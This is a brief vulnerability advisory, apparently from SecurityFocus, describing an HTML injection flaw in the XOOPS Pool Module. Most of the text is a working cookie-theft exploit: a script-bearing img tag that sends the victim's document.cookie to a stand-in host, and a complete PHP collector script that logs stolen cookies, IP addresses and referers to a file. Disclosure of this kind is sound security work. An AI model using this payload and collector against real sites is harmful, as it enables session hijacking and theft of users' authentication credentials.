source: https://www.securityfocus.com/bid/16189/info

The XOOPS Pool Module is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

<img src="javascript:window.navigate('http://www.example.com/cookies.php?c='+document.cookie);"

cookies.php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('steal.php', 'a');
fwrite($fp, '
Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Referer: '.$referer.' ');
fclose($fp);
?>